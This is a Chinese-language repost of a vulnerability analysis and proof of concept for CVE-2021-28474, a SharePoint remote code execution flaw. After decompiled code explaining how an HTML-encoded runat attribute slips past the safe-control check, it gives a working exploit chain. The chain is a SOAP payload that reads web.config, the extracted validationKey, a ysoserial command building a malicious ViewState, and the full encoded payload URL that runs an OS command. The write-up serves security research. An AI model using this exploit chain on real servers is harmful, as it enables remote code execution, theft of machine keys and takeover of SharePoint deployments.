百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

CVE-2021-28474:Microsoft SharePoint远程代码执行漏洞分析

cac55 2024-11-12 09:40 19 浏览 0 评论

概述

研究人员在微软SharePoint服务器中发现了一个远程代码执行漏洞(CVE-2021-28474)。该漏洞允许经过身份验证的攻击者在SharePoint服务器上,利用SharePoint Web应用程序的服务帐户上下文执行任意.NET代码。要想成功利用该漏洞,攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下,经过身份验证的SharePoint用户可以创建网页页面,并拥有所需的所有权限。


漏洞代码分析

该漏洞因为用于安全验证的代码与用于实际处理用户输入的代码之间存在不一致导致的。

安全验证由EditingPageParser.VerifyControlOnSafeList()执行。该函数将验证所提供的输入是否不包含不安全的控件,即web.config文件中的SafeControl元素未将任何控件标记为安全。

// Microsoft.SharePoint.EditingPageParser
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) 
{     
       Hashtable hashtable = new Hashtable();     
       Hashtable hashtable2 = new Hashtable();     
       List<string> list = new List<string>();     
       EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);     
       EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list);     
       if (blockServerSideIncludes && list.Count > 0)
       {
           ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); 
           throw new ArgumentException("Unsafe server-side includes", "dscXml");
        }
        foreach (object obj in hashtable2)  
        {
           Pair pair = (Pair)((DictionaryEntry)obj).Value;         
           string text = (string)pair.First;         
           string text2 = (string)pair.Second;         
           text2 = text2.ToLower(CultureInfo.InvariantCulture);         
           if (hashtable.ContainsKey(text2))         
           {
 /*...*/
                       if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s))                     
                       {                         
                           throw new SafeControls.UnsafeControlException(s);                     
                        }                     
                        break;                 
                    }             
               }         
            }     
       } 
  }

EditingPageParser.ParseStringInternal()函数解析来自dscXml的用户输入,并使用寄存器指令中的信息填充hashtable,以及使用服务器控件标记中的值填充hashtable2。之后,它尝试根据web.config文件中的SafeControl元素验证hashtable2中的每个元素。如果一个控件在那里没有被标记为安全,它就会抛出一个异常。

让我们仔细看看hashtable2中的值是如何进行填充的:

// Microsoft.SharePoint.EditingPageParser 
private static void ParseStringInternal(string text, Hashtable controls, Hashtable typeNames, IList<string> includes) 
{     
     int num = 0;     
     int num2 = text.LastIndexOf('>');     
     for (;;)     
     {         
           Match match; 
/*...*/         
           if (!(match = EditingPageParser.commentRegex.Match(text, num)).Success && !(match = EditingPageParser.aspExprRegex.Match(text, num)).Success && !(match = EditingPageParser.databindExprRegex.Match(text, num)).Success && !(match = EditingPageParser.aspCodeRegex.Match(text, num)).Success)         
           {             
               if (num2 > num && (match = EditingPageParser.tagRegex.Match(text, num)).Success)             
               {                 
                    try                 
                    {                     
                         EditingPageParser.HandleTagMatch(match, controls); 
/*...*/  

// Microsoft.SharePoint.EditingPageParser 
private static void HandleTagMatch(Match match, Hashtable controls) 
{     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        bool flag = false;     
        for (int i = 0; i < captures.Count; i++)     
        {         
              string strA = captures[i].ToString();         
              string strA2 = captures2[i].ToString();         
              if (string.Compare(strA, "runat", StringComparison.OrdinalIgnoreCase) == 0 && string.Compare(strA2, "server", StringComparison.OrdinalIgnoreCase) == 0)         
              {             
                      flag = true;             
                      break;         
               }     
         }     
         if (flag)     
         {         
                string value = match.Groups["tagname"].Value;         
                int num = value.IndexOf(':');         
                if (num > 0 && num < value.Length - 1)         
                {             
                       string x = value.Substring(num + 1);             
                       string y = value.Substring(0, num);             
                       controls[value] = new Pair(x, y);         
                 }     
          } 
 }

如我们所见,SharePoint仅验证服务器端控件(带有runat="server"属性的标记)。这是合理的,因为客户端元素不需要验证。

如果验证通过,SharePoint将处理提供的标记。让我们回顾一下执行处理的代码:

// System.Web.UI.TemplateParser 
private void ParseStringInternal(string text, Encoding fileEncoding) 
{     
       int num = 0;     
       int num2 = text.LastIndexOf('>');     
       Regex tagRegex = base.TagRegex;     
       do     
       {         
              Match match; 
 /*...*/                     
                          if (!this.flags[2] && num2 > num && (match = tagRegex.Match(text, num)).Success)                     
                          {                         
                               try                         
                               {                             
                                    if (!this.ProcessBeginTag(match, text))                             
                                    {                                 
                                          flag = true;                             
                                    } 
 /*...*/   
 
 
 // System.Web.UI.TemplateParser 
 private bool ProcessBeginTag(Match match, string inputText) 
 {     
        string value = match.Groups["tagname"].Value;     
        ParsedAttributeCollection attribs;     
        string text;     
        this.ProcessAttributes(inputText, match, out attribs, false, out text); 
/*...*/       

// System.Web.UI.TemplateParser 
private string ProcessAttributes(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute) 
{     
        string text2 = string.Empty;     
        attribs = TemplateParser.CreateEmptyAttributeBag();     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        CaptureCollection captureCollection = null;     
        if (fDirective)     
        {         
              captureCollection = match.Groups["equal"].Captures;     
         }     
         this.flags[1] = false;     
         this._id = null;     
         duplicateAttribute = null;     
         for (int i = 0; i < captures.Count; i++)     
         {         
              string text3 = captures[i].ToString();         
              if (fDirective)         
              {             
                   text3 = text3.ToLower(CultureInfo.InvariantCulture);         
               }         
               Capture capture = captures2[i];         
               string text4 = capture.ToString();         
               string empty = string.Empty;         
               string text5 = Util.ParsePropertyDeviceFilter(text3, out empty);         
               text4 = HttpUtility.HtmlDecode(text4);         
               bool flag = false;         
               if (fDirective)         
               {             
                    flag = (captureCollection[i].ToString().Length > 0);         
                }         
                if (StringUtil.EqualsIgnoreCase(empty, "id"))         
                {             
                    this._id = text4;         
                 }         
                 else if (StringUtil.EqualsIgnoreCase(empty, "runat"))         
                 {             
                        this.ValidateBuiltInAttribute(text5, empty, text4);             
                        if (!StringUtil.EqualsIgnoreCase(text4, "server"))             
                        {                 
                            this.ProcessError(SR.GetString("Runat_can_only_be_server"));            
                        }             
                        this.flags[1] = true;             
                        text3 = null;         
                  } 
 /*...*/

可以看见处理时解析内容的步骤与验证时的解析步骤非常相似。但是,有一个关键的单行差异:text4 = HttpUtility.HtmlDecode(text4)。

在处理时,属性值由解析器进行HTML解码,但在验证时没有相应的行。这意味着,如果我们有一个ASPX标记,它的属性是runat="&#115;erver"EditingPageParser.VerifyControlOnSafeList()函数不会将其视为服务器端控件,也不会检查它的安全性。但是,在处理时,它将被识别为服务器端控件并执行。


漏洞利用

在此次攻击中,我们将利用System.Web.UI.WebControls.Xml控件,以从任意XML文件中检索信息。我们可以使用它从web.config中提取machineKey部分,这允许我们伪造任意ViewState,并通过ViewState反序列化实现远程代码执行。

可以看见System.Web.UI.WebControls.Xmlweb.config中的SafeControl元素标记为不安全:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="Xml" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

我们将使用可通过/_vti_bin/WebPartPages.asmx站点访问的WebPartPagesWebService.ExecuteProxyUpdates Web API方法,投递有效载荷。它允许我们在设计模式下从OuterHtml属性渲染ASPX标记。用户输入将通过VerifyControlOnSafeList方法进行验证。

为了成功进行攻击,我们需要提供任何现有网站页面的相对路径:

<UpdateTransaction> 
<Update Type="Document"> 
<Document Url="SitePages/Home.aspx" ContextUrl="SitePages/Home.aspx">       
      <Control UpdateID="9940723" NeedsPreview="true" TagName="Name1" OuterHtml="&lt;asp:Repeater  runat=&quot;server&quot;&gt; &lt;HeaderTemplate&gt; &lt;asp:Xml runat=&quot;&amp;#115;erver&quot; id=&quot;xml1&quot; DocumentSource=&quot;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&quot;/&gt;   &lt;/HeaderTemplate&gt;&lt;/asp:Repeater&gt; " />     
    </Document>     
    <Actions />     
    </Update> 
</UpdateTransaction>

我们可以使用来自web.configmachinekey部分的信息来创建一个有效的ViewState,它将被SharePoint反序列化。这允许我们通过反序列化不受信任的数据来运行任意操作系统命令。


概念验证

在演示场景中,我们使用安装了Windows Server 2019 Datacenter上所有默认选项的Microsoft SharePoint Server 2019。服务器的主机名称为sp2019.contoso.lab,已加入contoso.lab域中,域为独立的虚拟机。目标主机已安装2021年1月的所有补丁,对应版本号为16.0.10370.20001,并添加了几个用户,包括普通用户“user2”。

攻击者系统只需使用任何受支持的网页浏览器、用于向服务器发送SOAP请求的PoC应用程序,以及ysoserial.net工具,我们使用的浏览器为Firefox。

首先我们访问SharePoint服务器,以普通用户“user2”进行身份验证。

然后创建一个站点,使该用户成为站点所有者并拥有所有权限。

点击顶部面板的“SharePoint”区域:

然后点击“+创建站点”链接:


选择“Team Site”,现在我们需要为新站点设置名称,这里我们设置为ts01

点击“完成”,成功创建新站点:

现在我们需要一个指向该站点中任何站点页面的相对路径,转到 /SitePages/Forms/ByAuthor.aspx以查看页面列表:

我们可以点击所需的页面并从地址栏中获取相对路径:

在这里,相对路径为SitePages/Home.aspx

接下来使用自定义可执行文件向易受攻击的服务器发送请求以触发漏洞。我们需要提供网站地址、凭证和相对路径:

>SP_soap_RCE_PoC.exe http://sp2019/sites/ts01/ user2 P@ssw0rd contoso "SitePages/Home.aspx"

如果攻击成功,我们将收到web.config的内容:

在该文件中搜索machineKey元素:

要执行RCE攻击,我们需要获取validationKey的值。在这里validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

我们还可以看到算法:validation="HMACSHA256"。

利用这些信息,我们就可以实现远程代码执行攻击。在进行最后一步攻击前,我们先进入目标SharePoint服务器,并打开C:windowsemp文件夹:

此时该目录中不存在SP_RCE_01.txt文件。

现在我们转到“攻击者”主机,并在网站上打开Success.aspx页面:

在本例中,URL为http://sp2019/sites/ts01/_layouts/15/success.aspx:

打开这个页面的源代码视图,找到__VIEWSTATEGENERATOR的值,本例中该值为AF878507:

现在,我们已经拥有了伪造一个任意的ViewState所需要的所有数据:

  • __VIEWSTATEGENERATOR=AF878507

  • validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79

  • validationAlg=HMACSHA256

使用ysoserial生成ViewState:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo RCE > c:/windows/temp/SP_RCE_01.txt" --generator="AF878507" --validationkey="FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79" --validationalg="HMACSHA256" --islegacy --minify

这是生成的有效载荷,我们需要对其进行URL编码,并将其作为查询字符串中的__VIEWSTATE参数发送到目标服务器:

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW

将此URL粘贴到浏览器中,响应显示为错误:

然而再次检查目标服务器上的C:windowsemp文件夹,可以发现目标文件创建成功,证明我们实现了代码执行:

通过这种方法,攻击者可以在SharePoint Web应用程序的上下文中执行任意操作系统命令。

相关推荐

正点原子开拓者FPGA开发板资料连载第四十章 SD卡图片显示实验

1)实验平台:正点原子开拓者FPGA开发板2)摘自《开拓者FPGA开发指南》关注官方微信号公众号,获取更多资料:正点原子3)全套实验源码+手册+视频下载地址:http://www.openedv.c...

东芝存储改名为铠侠了,铠侠microSD卡128GB全网首测

作为一个数码爱好者,平时总爱把玩各种科技数码产品,最近又迷上了口袋云台相机,大疆OsmoPocket、飞宇口袋相机、SnoppaVmate口袋相机什么的,不过这类产品由于设计的机身体积很小(毕竟为...

SD存储卡卡面上奇奇怪怪的图标,你知道几个?

现在对高像素照片、连拍、4K甚至8K的需求越来越多,对存储卡的传输速度、容量等,要求也越来越多了。但是,看到SD存储卡卡面上奇奇怪怪的图标,让人非常迷惑。这篇文章让你简单认识这些图标和奇奇怪怪的数字。...

拍摄4K视频上选!铠侠 EXCERIA PLUS microSD卡

大家好,我是波导终结者。今天跟大家分享的是铠侠的EXCERIAPLUS极至光速microSDXCUHS-1存储卡,名字有点长,但是不用担心,我会帮大家梳理好存储卡的选购建议。有不少刚入门的朋友...

高速稳定,一卡多用:铠侠极至光速microSD存储卡评测

Hello,大家好,我是小胖子。半个月前收到了KIOXIA铠侠寄来的一张256GB的TF卡,用了大半个月,让我们看看这款产品表现如何吧。其实很多人并不太了解铠侠,问我铠侠是什么品牌,好不好。其实,东芝...

读速205MB/s、V30规格,雷克沙SILVER系列存储卡再添新成员

IT之家6月19日消息,雷克沙今日推出3款SILVER系列SD/microSD存储卡新品,支持4K60fps录像。据介绍,该系列存储卡均符合V30标准,其中micr...

相机、无人机拍视频,选择SD存储卡有什么需要知道的?

本文章不涉及产品推荐导购行为,致力于给到小白带来基础知识。相机一般使用SD卡,无人机一般使用microSD卡(也叫TF卡),使用的标准和图标标识是一样的。相机、无人机拍视频,选择SD存储卡有什么需要知...

PNY推出适用Switch 2的microSD Express卡,读取速度高达890MB/s

任天堂Switch2开始预订,其比前代产品变得更加昂贵,各种配件的价格都高于预期,这也包括转向microSDExpress存储。此时,PNY推出了新款microSDExpress闪存卡。新款mi...

SD卡迎来25周年:全球售出120亿张,容量翻50万倍

IT之家5月21日消息,科技媒体betanews今天(5月21日)发布博文,报道称SD卡迎来了25周年的生日。自2000年首款SD存储卡问世以来,已走过25个年头...

微单相机买一款什么样的SD卡才够用?写入速度更为关键

最近,评价君朋友发现自己的卡拍摄视频时候总断流,于是感觉写入速度应该是不够的,打算换卡,评价君正好跟他说道说道。目前的SD存储卡,很多只标注读取速度,比如95MB/s,80MB/s等等,而没有写写入速...

金士顿Canvas Go!Plus 系列存储卡评测

前言2020年,金士顿推出了CanvasGo!Plus系列存储卡,凭借其优秀的读写速度和稳定性获得了广大用户的认可。时隔5年,金士顿推出了其全新升级产品:SDG4/SDCG4,可选容量覆盖64GB...

TF卡速度等级|MK米客方德(tf卡速度等级图)

TF卡(TransFlash卡,又称MicroSD卡)是一种常见的便携式存储媒体,广泛用于智能手机、相机、平板电脑等设备中。TF卡的性能通常由速度等级来衡量,这些等级反映了TF卡的数据传输速度。拓优星...

关于SD卡,看这张表就够了(sd卡的作用)

这里是溢图科技(原“相机笔记”)。这两天有不少存储产品促销,随之而来的就是关于SD卡的一些提问。文章以前已经写过很多了,这里主要给大家看一张表格:上面就是SD卡协会官方制作的“族谱”,明确给出了不同版...

轻量化储存的首选——凯侠极致光速256G microSD存储卡实测

对于摄影师而言,我们经常会接触到相关存储设备,像照片拍摄中给相机安装的SD卡,视频录制中外录高规格画面的SSD等,都属于专业的存储介质,被应用于商业拍摄、电影级别拍摄之中。而针对生活中我们日常用于拍摄...

首发1569元,读取速度可达250MB/s,闪迪推出最新2TB至尊超极速存储卡

近日,闪迪(SanDisk)正式发布了其最新的2TB至尊超极速microSDXCUHS-I存储卡。据悉,这款存储卡的读取速度可达250MB/s,写入速度则达到150MB/s。这意味着用户在处理高分辨...

取消回复欢迎 发表评论: